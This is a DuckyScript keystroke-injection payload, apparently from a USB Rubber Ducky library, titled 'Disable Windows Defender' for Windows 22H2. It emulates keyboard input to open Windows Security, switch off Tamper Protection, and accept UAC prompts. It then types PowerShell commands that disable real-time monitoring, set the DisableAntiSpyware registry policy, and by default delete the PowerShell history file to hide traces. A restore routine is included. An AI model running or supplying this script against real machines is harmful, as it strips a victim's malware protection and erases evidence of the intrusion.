Path: blob/master/payloads/library/execution/Disable_Windows_Defender22H2/Disable_Windows_Defender.txt
2971 views
REM Disable Windows Defender1REM VERSION 1.02REM Author HackingMark3REM Disables Tampering Protection and Kills Windows Defender on Win 22H24REM Tested on German Computers5REM Uncomment DISABLE_WINDOWS_DEFENDER() or RESTORE() at the end to use it within the Extension or call it later in your Payload.678REM Attack Commands for disabling RTP and Defender with (T)/without(F) clearing or (R) Restore9DEFINE ATTACK_F Set-MpPreference -DisableRealtimeMonitoring $true; New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force; exit;10DEFINE ATTACK_T Set-MpPreference -DisableRealtimeMonitoring $true; New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force; Remove-Item (Get-PSReadlineOption).HistorySavePath; exit;11DEFINE ATTACK_R Set-MpPreference -DisableRealtimeMonitoring $false; New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0 -PropertyType DWORD -Force; exit;12DEFINE ATTACK_RC Set-MpPreference -DisableRealtimeMonitoring $false; New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0 -PropertyType DWORD -Force; Remove-Item (Get-PSReadlineOption).HistorySavePath; exit;1314REM Change the Term for "Windows-Securitycenter" for your Target Language here:15DEFINE TERM_WIN_SEC_CENTER Windows-Sicherheit16REM CLEAN = TRUE deletes PS History, set to FALSE to run Payload without deleting History17VAR $clean = TRUE1819ATTACKMODE HID20DELAY 200021FUNCTION DISABLE_WINDOWS_DEFENDER()22GUI s23DELAY 50024STRINGLN TERM_WIN_SEC_CENTER25DELAY 50026ENTER27TAB28TAB29TAB30TAB31ENTER32DELAY 50033TAB34TAB35TAB36TAB37SPACE38DELAY 50039ALT j40DELAY 50041ALT F442DELAY 150043GUI x44DELAY 10045STRING a46DELAY 50047ALT j48DELAY 50049IF ($clean == TRUE) THEN50STRINGLN ATTACK_T51ELSE52STRINGLN ATTACK_F53END_IF5455END_FUNCTION5657FUNCTION RESTORE()58GUI x59DELAY 10060STRING a61DELAY 50062ALT j63DELAY 50064IF ($clean == TRUE) THEN65STRINGLN ATTACK_RC66ELSE67STRINGLN ATTACK_R68END_IF69END_FUNCTION7071REM Uncomment the Mode you want to use:72REM DISABLE_WINDOWS_DEFENDER()73REM RESTORE()7475767778